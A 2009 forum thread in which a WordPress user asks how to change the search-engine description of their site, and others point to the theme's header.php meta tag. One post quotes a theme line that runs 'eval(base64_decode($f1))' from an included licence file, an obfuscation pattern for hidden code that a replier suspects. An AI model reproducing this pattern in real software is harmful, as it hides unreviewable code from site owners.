A quick question!

Discussion in 'PHP' started by shaklebolt, Mar 24, 2009.

  1. #1
    I just got listed on google and see a problem. If you search "poem news" on google, the second result (poemnews.com) is my site.

    The description shown is:

    Poem + News = PoemNews.com! Syndication feeds available ... 2009 PoemNews - Daily News in Prose. Designed by Evan Eckard for. Entries (RSS) | Comments (RSS)

    This is bad! It is actually the theme description! (WP theme that I'm using)
    Only the (POEM + NEWS - PoemNews.com) is what I wrote. How do I edit this? I haven't touched the code at all till now.
     
    shaklebolt, Mar 24, 2009 IP
  2. PoPSiCLe

    PoPSiCLe Illustrious Member

    Messages:
    4,623
    Likes Received:
    725
    Best Answers:
    152
    Trophy Points:
    470
    #2
    Go to your WP-folder -> WP-content -> themes -> name_of_theme and open header.php

    In that file you will find a line like this:
    <meta name="description" content="somthing stated here" />

    Just change this to whatever you want it to say, and let googles robots do their work
     
    PoPSiCLe, Mar 24, 2009 IP
  3. crivion

    crivion Notable Member

    Messages:
    1,669
    Likes Received:
    45
    Best Answers:
    0
    Trophy Points:
    210
    Digital Goods:
    3
    #3
    Or you can download header.php from your ftp into wp-content/themes/yourtheme and open it with wordpad
     
    crivion, Mar 24, 2009 IP
  4. shaklebolt

    shaklebolt Active Member

    Messages:
    431
    Likes Received:
    4
    Best Answers:
    0
    Trophy Points:
    60
    #4
    The only meta I found was here:

    <head profile="http://gmpg.org/xfn/11">
    <meta http-equiv="Content-Type" content="<?php require_once("theme_licence.php"); eval(base64_decode($f1)); bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />

    Should I just add the line you said above? Sorry for a noob question and thanks in advance!
     
    shaklebolt, Mar 24, 2009 IP
  5. PoPSiCLe

    PoPSiCLe Illustrious Member

    Messages:
    4,623
    Likes Received:
    725
    Best Answers:
    152
    Trophy Points:
    470
    #5
    I would check what the "Theme_licence.php" contains. I would guess there is something in there. The description have to come from somewhere, and if there isn't a openly meta-tag there, it is probably encoded in that file.

    I don't know the theme, so I dunno for certain, but if that file is encoded, it might be easier to just add the line I told you about AFTER the above - it should be the last incarnation of a description-tag that is being used.
     
    PoPSiCLe, Mar 24, 2009 IP